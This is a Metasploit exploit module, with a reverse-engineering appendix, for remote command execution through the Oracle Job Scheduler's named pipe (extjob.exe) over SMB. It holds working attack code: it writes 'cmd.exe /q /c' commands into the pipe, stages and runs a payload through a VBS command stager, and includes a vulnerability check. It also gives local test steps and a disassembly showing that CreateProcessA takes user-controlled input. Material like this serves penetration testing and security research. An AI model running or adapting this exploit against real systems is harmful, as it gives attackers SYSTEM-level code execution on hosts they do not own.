##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Job Scheduler Named Pipe Command Execution',
      'Description'    => %q{
          This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job
        Scheduler is implemented via the component extjob.exe which listens on a named pipe
        called "orcljsex<SID>" and execute arbitrary commands received over this channel via
        CreateProcess(). In order to connect to the Named Pipe remotely, SMB access is required.
        Note that the Job Scheduler is disabled in default installations.
      },
      'Author'         =>
        [
          'David Litchfield', # Vulnerability discovery and exploit
          'juan vazquez',     # Metasploit module
          'sinn3r'            # Metasploit fu
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],
        ],
      'Payload'        =>
        {
          'Space'    => 2048,
        },
      'Platform'       => 'win',
      # This module has been tested on Oracle 10g Release 1
      # where the Oracle Job Scheduler runs as SYSTEM on Windows
      'Targets'        => [['Automatic',{}]],
      'CmdStagerFlavor' => 'vbs',
      'Privileged'     => true,
      'DisclosureDate' => '2007-01-01',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('SID', [ true, 'The database sid', 'ORCL'])
      ])

  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable
      print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
      execute_cmdstager({:linemax => 1500})
      handler
    else
      print_error "Host does not appear to be vulnerable!"
    end
  end

  def execute_command(cmd, opts)
    connect()
    smb_login()
    pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
    pipe.write("cmd.exe /q /c #{cmd}")
    pipe.close
    disconnect
  end

  def check

    begin
      connect()
      smb_login()
      pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
      pipe.write("cmd.exe /q /c dir")
      result = pipe.read() # Exit Code
      pipe.close
      disconnect
    rescue
      return Exploit::CheckCode::Safe
    end

    if result == "1" # Exit Code should be 1
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe

  end
end

=begin
How To Test locally:
1. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and
   then Start the service.
2. Make sure you know your SMBUser and SMBPass
3. Run:
   C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl

Code Analysis of extjob.exe (Oracle 10g Release 1)
=================================================

From _ServiceStart():

* Create Named Pipe and store handle on "esi":

.text:004017EC                 push    offset _pipename
.text:004017F1                 lea     ecx, [ebp+Name]
.text:004017F7                 push    offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"
.text:004017FC                 push    ecx
.text:004017FD                 jmp     short loc_401810
.text:004017FF ; ---------------------------------------------------------------------------
.text:004017FF
.text:004017FF loc_4017FF:                             ; CODE XREF: _ServiceStart+FAj
.text:004017FF                 push    offset $SG59613
.text:00401804                 lea     edx, [ebp+Name]
.text:0040180A                 push    offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"
.text:0040180F                 push    edx             ; Dest
.text:00401810
.text:00401810 loc_401810:                             ; CODE XREF: _ServiceStart+10Dj
.text:00401810                 call    ds:__imp__sprintf
.text:00401816                 add     esp, 0Ch
.text:00401819                 push    edi
.text:0040181A                 push    edi
.text:0040181B                 push    4
.text:0040181D                 call    _ReportStatusToSCMgr
.text:00401822                 add     esp, 0Ch
.text:00401825                 test    eax, eax
.text:00401827                 jz      loc_4018EC
.text:0040182D                 mov     edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)
.text:0040185C                 mov     esi, eax

* Connect Named Pipe

.text:0040188F                 push    eax             ; lpOverlapped
.text:00401890                 push    esi             ; hNamedPipe
.text:00401891                 call    ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)

* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter

.text:004018B9                 lea     edx, [ebp+ThreadId]
.text:004018BC                 push    edx             ; lpThreadId
.text:004018BD                 push    0               ; dwCreationFlags
.text:004018BF                 push    esi             ; lpParameter
.text:004018C0                 push    offset _ExecMain ; lpStartAddress
.text:004018C5                 push    0               ; dwStackSize
.text:004018C7                 push    0               ; lpThreadAttributes
.text:004018C9                 call    ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)

From ExecMain():

* Stores Named Pipe Handle in ebx

.text:0040197C                 mov     ebx, [ebp+hObject]

* Read From Named Pipe

.text:004019C4                 lea     eax, [ebp+NumberOfBytesRead]
.text:004019C7                 push    edx             ; lpOverlapped
.text:004019C8                 push    eax             ; lpNumberOfBytesRead
.text:004019C9                 lea     ecx, [ebp+Buffer]
.text:004019CF                 push    10000h          ; nNumberOfBytesToRead
.text:004019D4                 push    ecx             ; lpBuffer
.text:004019D5                 push    ebx             ; hFile
.text:004019D6                 call    ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)

* CreateProcess with lpCommandLine full controlled by the user input

.text:00401A06                 mov     ecx, 11h
.text:00401A0B                 xor     eax, eax
.text:00401A0D                 lea     edi, [ebp+StartupInfo]
.text:00401A10                 push    esi
.text:00401A11                 rep stosd
.text:00401A13                 lea     eax, [ebp+ProcessInformation]
.text:00401A16                 lea     ecx, [ebp+StartupInfo]
.text:00401A19                 push    eax             ; lpProcessInformation
.text:00401A1A                 push    ecx             ; lpStartupInfo
.text:00401A1B                 push    0               ; lpCurrentDirectory
.text:00401A1D                 push    0               ; lpEnvironment
.text:00401A1F                 push    0               ; dwCreationFlags
.text:00401A21                 push    0               ; bInheritHandles
.text:00401A23                 push    0               ; lpThreadAttributes
.text:00401A25                 lea     edx, [ebp+Buffer]
.text:00401A2B                 push    0               ; lpProcessAttributes
.text:00401A2D                 push    edx             ; lpCommandLine
.text:00401A2E                 push    0               ; lpApplicationName
.text:00401A30                 mov     [ebp+StartupInfo.cb], 44h
.text:00401A37                 mov     [ebp+StartupInfo.wShowWindow], 5
.text:00401A3D                 mov     [ebp+StartupInfo.dwFlags], 100h
.text:00401A44                 mov     [ebp+StartupInfo.lpDesktop], offset $SG59671
.text:00401A4B                 call    ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)


=end
